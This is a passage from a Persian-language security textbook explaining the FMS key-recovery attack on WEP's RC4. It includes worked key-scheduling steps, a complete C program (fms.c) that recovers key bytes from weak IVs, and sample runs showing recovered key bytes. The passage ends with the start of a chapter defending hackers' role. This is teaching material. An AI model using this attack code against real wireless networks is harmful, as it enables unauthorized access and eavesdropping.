‫ﭼﻮن ﮐﻠﯿﺪ در ﺣﺎل ﺣﺎﺿﺮ ﻧﺎﺷﻨﺎﺧﺘﻪ اﺳﺖ‪ ،‬آراﯾﻪ ‪ K‬ﺑﺎ ﻣﻘﺎدﯾﺮِ ﺷﻨﺎﺧﺘﻪ ﺷﺪه و آراﯾﻪ ‪ S‬ﺑـﺎ ﻣﻘـﺎدﯾﺮ ﻣﺘـﻮاﻟﯽ از ‪ 0‬ﺗـﺎ ‪ 15‬ﭘـﺮ‬
‫ﺷﺪه اﻧﺪ‪ .‬ﺳﭙﺲ ‪ j‬ﺑﺎ ﺻﻔﺮ ﻣﻘﺪاردﻫﯽ اوﻟﯿﻪ ﻣﯽ ﺷﻮد و ﺳﻪ ﮔﺎم ﻧﺨﺴﺖ از ‪ KSA‬اﺟﺮا ﻣﯽ ﺷﻮﻧﺪ‪ .‬ﺑﻪ ﺧﺎﻃﺮ داﺷﺘﻪ ﺑﺎﺷﯿﺪ ﮐـﻪ‬
‫ﺗﻤﺎم ﻣﺤﺎﺳﺒﺎت رﯾﺎﺿﯽ در ﭘﯿﻤﺎﻧﻪ ‪ 16‬اﻧﺠﺎم ﻣﯽ ﺷﻮد‪.‬‬
‫ﻣﺮﺣﻠﻪ اول ‪:KSA‬‬
‫‪186‬‬
‫‪i = 0‬‬
‫]‪j = j + S[i] + K[i‬‬
‫‪j = 0 + 0‬‬ ‫‪+ 3‬‬ ‫‪= 3‬‬
‫]‪Swap S[i] and S[j‬‬

‫‪K[] = 3 15 2 X X X X X 3 15 2 X X X X X‬‬
‫‪S[] = 3 1 2 0 4 5 6 7 8 9 10 11 12 13 14 15‬‬
‫ﻣﺮﺣﻠﻪ دوم ‪:KSA‬‬
‫‪i = 1‬‬
‫]‪j = j + S[i] + K[i‬‬
‫‪j = 3 + 1‬‬ ‫‪+ 15‬‬ ‫‪= 3‬‬
‫]‪Swap S[i] and S[j‬‬

‫‪K[] = 3 15 2 X X X X X 3 15 2 X X X X X‬‬
‫‪S[] = 3 0 2 1 4 5 6 7 8 9 10 11 12 13 14 15‬‬
‫ﻣﺮﺣﻠﻪ ﺳﻮم ‪: KSA‬‬
‫‪i = 2‬‬
‫]‪j = j + S[i] + K[i‬‬
‫‪j = 3 + 2‬‬ ‫‪+ 2‬‬ ‫‪= 7‬‬
‫]‪Swap S[i] and S[j‬‬

‫‪K[] = 3 15 2 X X X X X 3 15 2 X X X X X‬‬
‫‪S[] = 3 0 7 1 4 5 6 2 8 9 10 11 12 13 14 15‬‬
‫در اﯾﻦ ﻟﺤﻈﻪ‪ ،‬ﻣﻘﺪار ‪ j‬ﮐﻤﺘﺮ از ‪ 2‬ﻧﯿﺴﺖ‪ ،‬ﭘﺲ ﻓﺮآﯾﻨﺪ ﻣﯽ ﺗﻮاﻧﺪ اداﻣﻪ ﯾﺎﺑﺪ‪ .‬ﻣﻘـﺪار ]‪ S[3‬ﺑﺮاﺑـﺮ ‪ 1‬و ‪ j‬ﺑﺮاﺑـﺮ ﺑـﺎ ‪ 7‬اﺳـﺖ و‬
‫ﺧﺮوﺟﯽ اوﻟﯿﻦ ﺑﺎﯾﺖ از ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﺑﺮاﺑﺮ ﺑﺎ ‪ 9‬ﺑﻮد‪ .‬ﻟﺬا ﻣﻘﺪار ﺻﻔﺮﻣﯿﻦ ﺑﺎﯾﺖ از ﮐﻠﯿﺪ ﺑﺎﯾﺴﺘﯽ ‪ 9 − 7 − 1 − 1‬ﺑﺎﺷﺪ‪.‬‬
‫ﺑﺎ اﺳﺘﻔﺎده از ﺑﺮدارﻫﺎی اوﻟﯿﻪ ﺑﻪ ﻓﺮم )‪ (4, 15, X‬و ﭘﯿﺸﺒﺮد ﮔﺎم ﻫﺎی ﮐﺎری ‪ KSA‬ﺑﻪ ﮔﺎم ﭼﻬﺎرم‪ ،‬ﻣﯽ ﺗﻮان اﯾﻦ اﻃﻼﻋـﺎت‬
‫را ﺟﻬﺖ ﺗﻌﯿﯿﻦ ﺑﺎﯾﺖ ﺑﻌﺪی از ﮐﻠﯿﺪ ﺑﮑﺎر ﺑﺮد‪ .‬ﺑﺎ ﺗﻮﺟﻪ ﺑﻪ ﺑﺮدار اوﻟﯿﻪ ﺑﻪ ﻓـﺮم )‪ ،(4, 15, 9‬اوﻟـﯿﻦ ﺑﺎﯾـﺖ از ﺟﺮﯾـﺎن ﮐﻠﯿـﺪ‬
‫ﺑﺮاﺑﺮ ﺑﺎ ‪ 6‬ﻣﯽ ﺷﻮد‪.‬‬
‫‪6‬‬ ‫ﺧﺮوﺟﯽ )‪(Output‬‬
‫‪) 0‬ﺻﻔﺮ(‬ ‫‪A‬‬
‫‪9 ،15 ،4‬‬ ‫ﺑﺮدار اوﻟﯿﻪ )‪(IV‬‬
‫‪5 ،4 ،3 ،2 ،1‬‬ ‫ﮐﻠﯿﺪ‬
‫اﻟﺤﺎق ﺑﺮدار اوﻟﯿﻪ ﺑﻪ ﮐﻠﯿﺪ‬ ‫ﻣﻘﺪار ﺑﻨﯿﺎدی )‪(Seed‬‬

‫‪K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X‬‬
‫‪S[] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15‬‬
‫ﻣﺮﺣﻠﻪ اول ‪:KSA‬‬
‫‪i = 0‬‬
‫]‪j = j + S[i] + K[i‬‬
‫‪j = 0 + 0‬‬ ‫‪+ 4‬‬ ‫‪= 4‬‬
‫]‪Swap S[i] and S[j‬‬

‫‪K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X‬‬
‫‪S[] = 4 1 2 3 0 5 6 7 8 9 10 11 12 13 14 15‬‬
‫ﻣﺮﺣﻠﻪ دوم ‪:KSA‬‬
‫‪i = 1‬‬
‫]‪j = j + S[i] + K[i‬‬
‫‪j = 4 + 1‬‬ ‫‪+ 15‬‬ ‫‪= 4‬‬
‫]‪Swap S[i] and S[j‬‬

‫‪K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X‬‬
‫‪S[] = 4 0 2 3 1 5 6 7 8 9 10 11 12 13 14 15‬‬
‫ﻣﺮﺣﻠﻪ ﺳﻮم ‪:KSA‬‬
‫‪i = 2‬‬

‫‪187‬‬
j = j + S[i] + K[i]
j = 4 + 2 + 9 = 15
Swap S[i] and S[j]

K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X
S[] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2
:KSA ‫ﻣﺮﺣﻠﻪ ﭼﻬﺎرم‬
i = 3
j = j + S[i] + K[i]
j = 15+ 3 + 1 = 3
Swap S[i] and S[j]

K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X
S[] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2

Output - j - S[4]= key[1]


6 - 3 - 1 = 2
‫ ﻃﻮری اﻧﺘﺨﺎب ﺷﺪﻧﺪ ﮐﻪ ﺑﺘـﻮان ﻓﺮآﯾﻨـﺪ را‬X ‫ اﻟﺒﺘﻪ در اﯾﻨﺠﺎ ﻣﻘﺎدﯾﺮ‬.‫ﺑﺎر دﯾﮕﺮ ﺑﺎﯾﺖ ﺻﺤﯿﺢ دﯾﮕﺮی از ﮐﻠﯿﺪ ﻣﺸﺨﺺ ﺷﺪ‬
‫ ﮐﺪ ﻣﻨﺒـﻊ‬،RC4 ‫ ﺑﺮای درک ﺻﺤﯿﺢ از ﻣﺎﻫﯿﺖ آﻣﺎریِ ﺣﻤﻠﻪ ﻋﻠﯿﻪ ﯾﮏ ﭘﯿﺎده ﺳﺎزی ﮐﺎﻣﻞ از‬.‫در ﭼﻨﺪﯾﻦ ﻣﺮﺣﻠﻪ اﺛﺒﺎت ﮐﺮد‬
.‫زﯾﺮ ﻣﻔﯿﺪ ﺧﻮاﻫﺪ ﺑﻮد‬
File:fms.c

#include <stdio.h>

int RC4(int *IV, int *key)


{
int K[256];
int S[256];
int seed[16];
int i, j, k, t;

//seed = IV + key;
for(k=0; k<3; k++)
seed[k] = IV[k];
for(k=0; k<13; k++)
seed[k+3] = key[k];

// -= Key Scheduling Algorithm (KSA) =-


//Initilize the arrays
for(k=0; k<256; k++)
{
S[k] = k;
K[k] = seed[k%16];
}

j=0;
for(i=0; i < 256; i++)
{
j = (j + S[i] + K[i])%256;
t=S[i]; S[i]=S[j]; S[j]=t; // Swap(S[i], S[j]);
}

// First step of PRGA for first keystream byte

i = 0;
j = 0;

i = i + 1;
j = j + S[i];

t=S[i]; S[i]=S[j]; S[j]=t; // Swap(S[i], S[j]);

k = (S[i] + S[j])%256;

188
return S[k];

}
main(int argc, char *argv[])
{
int K[256];
int S[256];

int IV[3];
int key[13] = {1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213};
int seed[16];
int N = 256;
int i, j, k, t, x, A;
int keystream, keybyte;

int max_result, max_count;


int results[256];

int known_j, known_S;

if(argc < 2)
{
printf("Usage: %s <keybyte to attack>\n", argv[0]);
exit(0);
}
A = atoi(argv[1]);
if((A > 12) || (A < 0))
{
printf("keybyte must be from 0 to 12.\n");
exit(0);
}

for(k=0; k < 256; k++)


results[k] = 0;

IV[0] = A + 3;
IV[1] = N - 1;

for(x=0; x < 256; x++)


{
IV[2] = x;

keystream = RC4(IV, key);


printf("Using IV: (%d, %d, %d), first keystream byte is %u\n",
IV[0], IV[1], IV[2], keystream);

printf("Doing the first %d steps of KSA.. ", A+3);

//seed = IV + key;
for(k=0; k<3; k++)
seed[k] = IV[k];
for(k=0; k<13; k++)
seed[k+3] = key[k];

// -= Key Scheduling Algorithm (KSA) =-


//Initialize the arrays
for(k=0; k<256; k++)
{
S[k] = k;
K[k] = seed[k%16];
}

j=0;
for(i=0; i < (A + 3); i++)
{
j = (j + S[i] + K[i])%256;
t = S[i];
189
S[i] = S[j];
S[j] = t;
}

if(j < 2) // If j < 2, then S[0] or S[1] have been disturbed


{
printf("S[0] or S[1] have been disturbed, discarding..\n");
}
else
{
known_j = j;
known_S = S[A+3];
printf("at KSA iteration #%d, j=%d and S[%d]=%d\n",
A+3, known_j, A+3, known_S);
keybyte = keystream - known_j - known_S;

while(keybyte < 0)
keybyte = keybyte + 256;
printf("key[%d] prediction = %d - %d - %d = %d\n",
A, keystream, known_j, known_S, keybyte);
results[keybyte] = results[keybyte] + 1;
}
}
max_result = -1;
max_count = 0;

for(k=0; k < 256; k++)


{
if(max_count < results[k])
{
max_count = results[k];
max_result = k;
}
}
printf("\nFrequency table for key[%d] (* = most frequent)\n", A);
for(k=0; k < 32; k++)
{
for(i=0; i < 8; i++)
{
t = k+i*32;
if(max_result == t)
printf("%3d %2d*| ", t, results[t]);
else
printf("%3d %2d | ", t, results[t]);
}
printf("\n");
}

printf("\n[Actual Key] = (");


for(k=0; k < 12; k++)
printf("%d, ",key[k]);
printf("%d)\n", key[12]);

printf("key[%d] is probably %d\n", A, max_result);


}
X ‫ ﺑﯿﺖ ﺑﺮدار اوﻟﯿﻪ( را ﺑﺎ ﻫﺮ ﻣﻘﺪار ﻣﻤﮑﻦ ﺑﺮای‬24 ، ‫ ﺑﯿﺖ ﮐﻠﯿﺪ‬104) ‫ﺑﯿﺘﯽ‬128 ‫ ﻫﺎی‬WEP ‫ روی‬FMS ‫ ﺣﻤﻠﻪ‬،‫اﯾﻦ ﮐﺪ‬
‫ ﺧﺮوﺟـﯽ زﯾـﺮ‬.‫ ﮐﻠﯿﺪ در آراﯾﻪ ﮐﻠﯿـﺪ وﺟـﻮد دارد‬.‫ ﺗﻨﻬﺎ آرﮔﻮﻣﺎن اﯾﻦ ﺑﺮﻧﺎﻣﻪ اﺳﺖ‬،‫ ﺑﺎﯾﺖ ﮐﻠﯿﺪ ﻣﻮرد ﺣﻤﻠﻪ‬.‫اﻧﺠﺎم ﻣﯽ دﻫﺪ‬
:‫ ﻧﺸﺎن ﻣﯽ دﻫﺪ‬RC4 ‫ را ﺟﻬﺖ ﮐﺮک ﮐﺮدن ﯾﮏ ﮐﻠﯿﺪ‬fms.c ‫ﮐﺎﻣﭙﺎﯾﻞ و اﺟﺮای ﮐﺪ‬
$ gcc -o fms fms.c
$ ./fms
Usage: ./fms <keybyte to attack>
$ ./fms 0
Using IV: (3, 255, 0), first keystream byte is 7
Doing the first 3 steps of KSA.. at KSA iteration #3, j=5 and S[3]=1

190
key[0] prediction = 7 - 5 - 1 = 1
Using IV: (3, 255, 1), first keystream byte is 211
Doing the first 3 steps of KSA.. at KSA iteration #3, j=6 and S[3]=1
key[0] prediction = 211 - 6 - 1 = 204
Using IV: (3, 255, 2), first keystream byte is 241
Doing the first 3 steps of KSA.. at KSA iteration #3, j=7 and S[3]=1
key[0] prediction = 241 - 7 - 1 = 233

[ output trimmed ]

Using IV: (3, 255, 252), first keystream byte is 175


Doing the first 3 steps of KSA.. S[0] or S[1] have been disturbed,
discarding..
Using IV: (3, 255, 253), first keystream byte is 149
Doing the first 3 steps of KSA.. at KSA iteration #3, j=2 and S[3]=1
key[0] prediction = 149 - 2 - 1 = 146
Using IV: (3, 255, 254), first keystream byte is 253
Doing the first 3 steps of KSA.. at KSA iteration #3, j=3 and S[3]=2
key[0] prediction = 253 - 3 - 2 = 248
Using IV: (3, 255, 255), first keystream byte is 72
Doing the first 3 steps of KSA.. at KSA iteration #3, j=4 and S[3]=1
key[0] prediction = 72 - 4 - 1 = 67

Frequency table for key[0] (* = most frequent)


0 1 | 32 3 | 64 0 | 96 1 | 128 2 | 160 0 | 192 1 | 224 3 |
1 10*| 33 0 | 65 1 | 97 0 | 129 1 | 161 1 | 193 1 | 225 0 |
2 0 | 34 1 | 66 0 | 98 1 | 130 1 | 162 1 | 194 1 | 226 1 |
3 1 | 35 0 | 67 2 | 99 1 | 131 1 | 163 0 | 195 0 | 227 1 |
4 0 | 36 0 | 68 0 | 100 1 | 132 0 | 164 0 | 196 2 | 228 0 |
5 0 | 37 1 | 69 0 | 101 1 | 133 0 | 165 2 | 197 2 | 229 1 |
6 0 | 38 0 | 70 1 | 102 3 | 134 2 | 166 1 | 198 1 | 230 2 |
7 0 | 39 0 | 71 2 | 103 0 | 135 5 | 167 3 | 199 2 | 231 0 |
8 3 | 40 0 | 72 1 | 104 0 | 136 1 | 168 0 | 200 1 | 232 1 |
9 1 | 41 0 | 73 0 | 105 0 | 137 2 | 169 1 | 201 3 | 233 2 |
10 1 | 42 3 | 74 1 | 106 2 | 138 0 | 170 1 | 202 3 | 234 0 |
11 1 | 43 2 | 75 1 | 107 2 | 139 1 | 171 1 | 203 0 | 235 0 |
12 0 | 44 1 | 76 0 | 108 0 | 140 2 | 172 1 | 204 1 | 236 1 |
13 2 | 45 2 | 77 0 | 109 0 | 141 0 | 173 2 | 205 1 | 237 0 |
14 0 | 46 0 | 78 2 | 110 2 | 142 2 | 174 1 | 206 0 | 238 1 |
15 0 | 47 3 | 79 1 | 111 2 | 143 1 | 175 0 | 207 1 | 239 1 |
16 1 | 48 1 | 80 1 | 112 0 | 144 2 | 176 0 | 208 0 | 240 0 |
17 0 | 49 0 | 81 1 | 113 1 | 145 1 | 177 1 | 209 0 | 241 1 |
18 1 | 50 0 | 82 0 | 114 0 | 146 4 | 178 1 | 210 1 | 242 0 |
19 2 | 51 0 | 83 0 | 115 0 | 147 1 | 179 0 | 211 1 | 243 0 |
20 3 | 52 0 | 84 3 | 116 1 | 148 2 | 180 2 | 212 2 | 244 3 |
21 0 | 53 0 | 85 1 | 117 2 | 149 2 | 181 1 | 213 0 | 245 1 |
22 0 | 54 3 | 86 3 | 118 0 | 150 2 | 182 2 | 214 0 | 246 3 |
23 2 | 55 0 | 87 0 | 119 2 | 151 2 | 183 1 | 215 1 | 247 2 |
24 1 | 56 2 | 88 3 | 120 1 | 152 2 | 184 1 | 216 0 | 248 2 |
25 2 | 57 2 | 89 0 | 121 1 | 153 2 | 185 0 | 217 1 | 249 3 |
26 0 | 58 0 | 90 0 | 122 0 | 154 1 | 186 1 | 218 0 | 250 1 |
27 0 | 59 2 | 91 1 | 123 3 | 155 2 | 187 1 | 219 1 | 251 1 |
28 2 | 60 1 | 92 1 | 124 0 | 156 0 | 188 0 | 220 0 | 252 3 |
29 1 | 61 1 | 93 1 | 125 0 | 157 0 | 189 0 | 221 0 | 253 1 |
30 0 | 62 1 | 94 0 | 126 1 | 158 1 | 190 0 | 222 1 | 254 0 |
31 0 | 63 0 | 95 1 | 127 0 | 159 0 | 191 0 | 223 0 | 255 0 |

[Actual Key] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)
key[0] is probably 1
$
$ ./fms 12
Using IV: (15, 255, 0), first keystream byte is 81
Doing the first 15 steps of KSA.. at KSA iteration #15, j=251 and S[15]=1
key[12] prediction = 81 - 251 - 1 = 85
Using IV: (15, 255, 1), first keystream byte is 80
Doing the first 15 steps of KSA.. at KSA iteration #15, j=252 and S[15]=1
key[12] prediction = 80 - 252 - 1 = 83
191
Using IV: (15, 255, 2), first keystream byte is 159
Doing the first 15 steps of KSA.. at KSA iteration #15, j=253 and S[15]=1
key[12] prediction = 159 - 253 - 1 = 161

[ output trimmed ]

Using IV: (15, 255, 252), first keystream byte is 238


Doing the first 15 steps of KSA.. at KSA iteration #15, j=236 and S[15]=1
key[12] prediction = 238 - 236 - 1 = 1
Using IV: (15, 255, 253), first keystream byte is 197
Doing the first 15 steps of KSA.. at KSA iteration #15, j=236 and S[15]=1
key[12] prediction = 197 - 236 - 1 = 216
Using IV: (15, 255, 254), first keystream byte is 238
Doing the first 15 steps of KSA.. at KSA iteration #15, j=249 and S[15]=2
key[12] prediction = 238 - 249 - 2 = 243
Using IV: (15, 255, 255), first keystream byte is 176
Doing the first 15 steps of KSA.. at KSA iteration #15, j=250 and S[15]=1
key[12] prediction = 176 - 250 - 1 = 181

Frequency table for key[12] (* = most frequent)


0 1 | 32 0 | 64 2 | 96 0 | 128 1 | 160 1 | 192 0 | 224 2 |
1 2 | 33 1 | 65 0 | 97 2 | 129 1 | 161 1 | 193 0 | 225 0 |
2 0 | 34 2 | 66 2 | 98 0 | 130 2 | 162 3 | 194 2 | 226 0 |
3 2 | 35 0 | 67 2 | 99 2 | 131 0 | 163 1 | 195 0 | 227 5 |
4 0 | 36 0 | 68 0 | 100 1 | 132 0 | 164 0 | 196 1 | 228 1 |
5 3 | 37 0 | 69 3 | 101 2 | 133 0 | 165 2 | 197 0 | 229 3 |
6 1 | 38 2 | 70 2 | 102 0 | 134 0 | 166 2 | 198 0 | 230 2 |
7 2 | 39 0 | 71 1 | 103 0 | 135 0 | 167 3 | 199 1 | 231 1 |
8 1 | 40 0 | 72 0 | 104 1 | 136 1 | 168 2 | 200 0 | 232 0 |
9 0 | 41 1 | 73 0 | 105 0 | 137 1 | 169 1 | 201 1 | 233 1 |
10 2 | 42 2 | 74 0 | 106 4 | 138 2 | 170 0 | 202 1 | 234 0 |
11 3 | 43 1 | 75 0 | 107 1 | 139 3 | 171 2 | 203 1 | 235 0 |
12 2 | 44 0 | 76 0 | 108 2 | 140 2 | 172 0 | 204 0 | 236 1 |
13 0 | 45 0 | 77 0 | 109 1 | 141 1 | 173 0 | 205 2 | 237 4 |
14 1 | 46 1 | 78 1 | 110 0 | 142 3 | 174 1 | 206 0 | 238 1 |
15 1 | 47 2 | 79 1 | 111 0 | 143 0 | 175 1 | 207 2 | 239 0 |
16 2 | 48 0 | 80 1 | 112 1 | 144 3 | 176 0 | 208 0 | 240 0 |
17 1 | 49 0 | 81 0 | 113 1 | 145 1 | 177 0 | 209 0 | 241 0 |
18 0 | 50 2 | 82 0 | 114 1 | 146 0 | 178 0 | 210 1 | 242 0 |
19 0 | 51 0 | 83 4 | 115 1 | 147 0 | 179 1 | 211 4 | 243 2 |
20 0 | 52 1 | 84 1 | 116 4 | 148 0 | 180 1 | 212 1 | 244 1 |
21 0 | 53 1 | 85 1 | 117 0 | 149 2 | 181 1 | 213 12*| 245 1 |
22 1 | 54 3 | 86 0 | 118 0 | 150 1 | 182 2 | 214 3 | 246 1 |
23 0 | 55 3 | 87 0 | 119 1 | 151 0 | 183 0 | 215 0 | 247 0 |
24 0 | 56 1 | 88 0 | 120 0 | 152 2 | 184 0 | 216 2 | 248 0 |
25 1 | 57 0 | 89 0 | 121 2 | 153 0 | 185 2 | 217 1 | 249 0 |
26 1 | 58 0 | 90 1 | 122 0 | 154 1 | 186 0 | 218 1 | 250 2 |
27 2 | 59 1 | 91 1 | 123 0 | 155 1 | 187 1 | 219 0 | 251 2 |
28 2 | 60 2 | 92 1 | 124 1 | 156 1 | 188 1 | 220 0 | 252 0 |
29 1 | 61 1 | 93 3 | 125 2 | 157 2 | 189 2 | 221 0 | 253 1 |
30 0 | 62 1 | 94 0 | 126 0 | 158 1 | 190 1 | 222 1 | 254 2 |
31 0 | 63 0 | 95 1 | 127 0 | 159 0 | 191 0 | 223 2 | 255 0 |

[Actual Key] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)
key[12] is probably 213
$
‫اﯾﻦ ﻧﻮع ﺣﻤﻼت آﻧﻘﺪر ﻣﻮﻓﻘﯿﺖ آﻣﯿﺰ ﺑﻮده اﻧﺪ ﮐﻪ ﺑﺮﺧﯽ ﻓﺮوﺷﻨﺪﮔﺎن ﺷﺮوع ﺑﻪ ﺗﻮﻟﯿﺪ ﺳـﺨﺖ اﻓـﺰاری ﮐـﺮده اﻧـﺪ ﮐـﻪ از‬
‫ ﯾﮏ راه ﺣﻞ اﯾﻦ ﭼﻨﯿﻨﯽ ﺗﻨﻬﺎ ﻣـﻮﻗﻌﯽ ﮐـﺎرﮐﺮد ﺧﻮاﻫـﺪ داﺷـﺖ ﮐـﻪ ﺗﻤـﺎم‬.‫اﺳﺘﻔﺎده از ﺑﺮدارﻫﺎی ﺿﻌﯿﻒ اﺟﺘﻨﺎب ﻣﯽ ورزد‬
.‫ دﺳﺘﮑﺎری ﺷﺪه اﺳﺘﻔﺎده ﮐﻨﻨﺪ‬126ِ‫ﺗﺠﻬﯿﺰات ﺳﺨﺖ اﻓﺰاری ﺑﯽ ﺳﯿﻢ در ﺷﺒﮑﻪ از ﻫﻤﺎن ﻟَﺨﺖ اﻓﺰار‬

126
firmware
192
‫ﻓﺼﻞ ‪ :5‬اﺳﺘﻨﺘﺎج‬
‫ﻇﺎﻫﺮا دﻧﯿﺎی اﻣﻨﯿﺖ ﮐﺎﻣﭙﯿﻮﺗﺮﻣﻮﺿﻮع ﻏﯿﺮﻗﺎﺑﻞ درﮐﯽ ﺑﺮای ﻋﻤﻮم اﺳﺖ و رﺳﺎﻧﻪ ﻫﺎی ﺟﻤﻌﯽ ﻧﯿﺰ ﻋﻼﻗـﻪ زﯾـﺎدی ﺑـﻪ داﻣـﻦ‬
‫زدن اﺣﺴﺎﺳﺎت در اﯾﻦ زﻣﯿﻨﻪ دارﻧﺪ‪ .‬ﺗﻐﯿﯿﺮات درﮐﻠﻤﺎت ﻓﻨﯽ ﯾﺎ ﺗﺮﻣﯿﻨﻮﻟﻮژی ﺑﯽ اﺛﺮﻧﺪ‪ -‬آﻧﭽﻪ اﺳﺎﺳﺎ ﻧﯿﺎز اﺳﺖ ﺗﻐﯿﯿـﺮ در‬
‫ﻃﺮز ﻓﮑﺮ اﺳﺖ! ﻫﮑﺮﻫﺎ ﺗﻨﻬﺎ اﻓﺮادی ﺑﺎ روﺣﯿﻪ ﻧﻮآوری و داﻧﺸﯽ ﻋﻤﯿﻖ از ﻓﻨﺎوری ﻫﺴﺘﻨﺪ‪ .‬ﻫﮑﺮﻫﺎ ﻟﺰوﻣﺎ ﺟﻨﺎﯾﺘﮑﺎر ﻧﯿﺴﺘﻨﺪ‪،‬‬
‫اﻣﺎ ﻣﻤﮑﻦ اﺳﺖ ﺟﻨﺎﯾﺎﺗﯽ وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ ﮐﻪ ﻫﮑﺮﻫﺎ اﻧﺠﺎم داده ﺑﺎﺷﻨﺪ‪ .‬داﻧﺶ ﻫﮑﺮ ﺑﻪ ﺧﻮدی ﺧـﻮد ﻣـﺸﮑﻞ ﭼﻨـﺪاﻧﯽ در‬
‫ﺑﺮ ﻧﺪارد و ﻣﻮﺿﻮع ﺑﺮ ﺳﺮ ﮐﺎرﺑﺮد اﯾﻦ داﻧﺶ اﺳﺖ‪ .‬ﭼﻪ دوﺳﺖ داﺷﺘﻪ ﺑﺎﺷﯿﻢ و ﭼﻪ ﻧﺪاﺷﺘﻪ ﺑﺎﺷﯿﻢ‪ ،‬در ﻧﺮم اﻓﺰارﻫﺎ و ﺷﺒﮑﻪ‬
‫ﻫﺎﯾﯽ ﮐﻪ دﻧﯿﺎی اﻣﺮوزه واﺑﺴﺘﮕﯽ ﻫﺮﭼﻪ ﺑﯿﺸﺘﺮی ﺑﻪ آﻧﻬﺎ ﭘﯿﺪا ﻣﯽ ﮐﻨﺪ‪ ،‬آﺳﯿﺐ ﭘﺬﯾﺮی وﺟﻮد دارد‪ .‬اﯾﻦ ﯾﮏ ﻧﺘﯿﺠﻪ اﺟﺘﻨﺎب‬
‫ﻧﺎﭘﺬﯾﺮ از ﺗﻮﺳﻌﻪ ﻧﺮم اﻓﺰاری ﻣﻨﻔﻌﺖ‪-‬ﮔﺮا اﺳﺖ‪ .‬ﻣﺎداﻣﯽ ﮐﻪ ﭘـﻮل ﺑـﺎ ﻓﻨـﺎوری در ارﺗﺒـﺎط ﺑﺎﺷـﺪ‪ ،‬آﺳـﯿﺐ ﭘـﺬﯾﺮی در ﻧـﺮم‬
‫اﻓﺰارﻫﺎ و ﺗﻬﺪﯾﺪ در ﺷﺒﮑﻪ ﻫﺎ وﺟﻮد ﺧﻮاﻫﻨﺪ داﺷﺖ ﮐﻪ ﻣﻌﻤﻮﻻ ﺗﺮﮐﯿﺐ ﻧﺎﻣﻨﺎﺳﺒﯽ اﺳﺖ‪ ،‬اﻣﺎ اﻓﺮادی ﮐﻪ آﺳﯿﺐ ﭘـﺬﯾﺮی ﻫـﺎ‬
‫را در ﻧﺮم اﻓﺰار ﭘﯿﺪا ﻣﯽ ﮐﻨﻨﺪ ﺗﻨﻬﺎ ﺑﺪﻧﺒﺎل ﻣﻨﻔﻌﺖ ﯾﺎ ﺟﻨﺎﯾﺎت ﻧﯿﺴﺘﻨﺪ‪ .‬اﯾﻦ اﻓﺮاد ﻫﮑﺮﻫﺎ ﻫﺴﺘﻨﺪ ﮐـﻪ ﻫـﺮ ﮐـﺪام اﻧﮕﯿـﺰه ای‬
‫ﺧﺎصِ ﺧﻮد دارﻧﺪ؛ ﺑﻌﻀﯽ ﺑﻪ ﻋﻠﺖ ﺣﺲ ﮐﻨﺠﮑﺎوی و ﭼﻨﺪی دﯾﮕﺮ ﺑﻪ ﺧﺎﻃﺮ ﻣﻮﻗﻌﯿﺖ ﮐﺎری و ﺑﺮﺧﯽ ﺑﻪ دﻟﯿﻞ ﭼﺎﻟﺶ ﻓـﺮدی‬
‫ﺑﻪ اﯾﻦ ﮐﺎر ﻣﺒﺎدرت ﻣﯽ ورزﻧﺪ‪ :‬و در ﮐﻨﺎر آن‪ ،‬اﻓﺮادی ﻫﻢ از ﻃﺮﯾﻖ ﻫﮏ ﺑﻪ دﻧﺒﺎل ﺟﻨﺎﯾـﺖ ﻣـﯽ روﻧـﺪ‪ .‬ﻋﻤـﺪه ی ﻫﮑﺮﻫـﺎ‪،‬‬
‫اﻫﺪاف ﺑﺪﺧﻮاﻫﺎﻧﻪ ﻧﺪاﺷﺘﻪ و در ﻋﻮض ﺑﻪ ﻓﺮوﺷﻨﺪﮔﺎن ﻧﺮم اﻓﺰاری در رﻓﻊ ﻣﺸﮑﻼت ﺑﺮﻧﺎﻣﻪ ﻫﺎی آﺳﯿﺐ ﭘﺬﯾﺮﺷﺎن ﮐﻤـﮏ‬
‫ﻣﯽ ﮐﻨﻨﺪ‪ .‬ﺑﺪون ﻫﮑﺮﻫﺎ‪ ،‬آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎ و ﺣﻔﺮه ﻫﺎی اﻣﻨﯿﺘﯽ در ﻧﺮم اﻓﺰار ﮐﺸﻒ ﻧﺸﺪه ﺑﺎﻗﯽ ﺧﻮاﻫﺪ ﻣﺎﻧﺪ‪.‬‬
‫ﺑﻌﻀﺎ اﺳﺘﺪﻻل ﻣﯽ ﺷﻮد ﮐﻪ اﮔﺮ ﻫﯿﭻ ﻫﮑﺮی وﺟﻮد ﻧﺪاﺷﺘﻪ ﺑﺎﺷﺪ‪ ،‬ﻫﯿﭻ دﻟﯿﻠﯽ ﺑﺮای رﻓﻊ اﯾﻦ آﺳـﯿﺐ ﭘـﺬﯾﺮی ﻫـﺎی ﮐـﺸﻒ‬
‫ﻧﺸﺪه وﺟﻮد ﻧﺪارد‪ .‬اﯾﻦ ﯾﮏ دور ﻧﻤﺎ اﺳﺖ‪ ،‬اﻣﺎ ﺷﺨﺼﺎ ﺳﻌﯽ ﺑﺮ ﻏﻠﺒﻪ ﺑﺮ رﮐﻮد و ﺧﻤـﻮدﮔﯽ دارم‪ .‬ﻫﮑﺮﻫـﺎ ﻧﻘـﺶ ﻣﻬﻤـﯽ در‬
‫ﺗﮑﺎﻣﻞ ﻓﻨﺎوری دارﻧﺪ‪ .‬ﺑﺪون ﻫﮑﺮﻫﺎ‪ ،‬دﻟﯿﻠﯽ ﺑﺮای ﭘﯿﺸﺮﻓﺖ در راﺳﺘﺎی اﻣﻨﯿﺖ ﮐﺎﻣﭙﯿﻮﺗﺮﻫﺎ وﺟﻮد ﻧﺪارد‪ .‬در ﺿﻤﻦ‪ ،‬ﻣـﺎداﻣﯽ‬
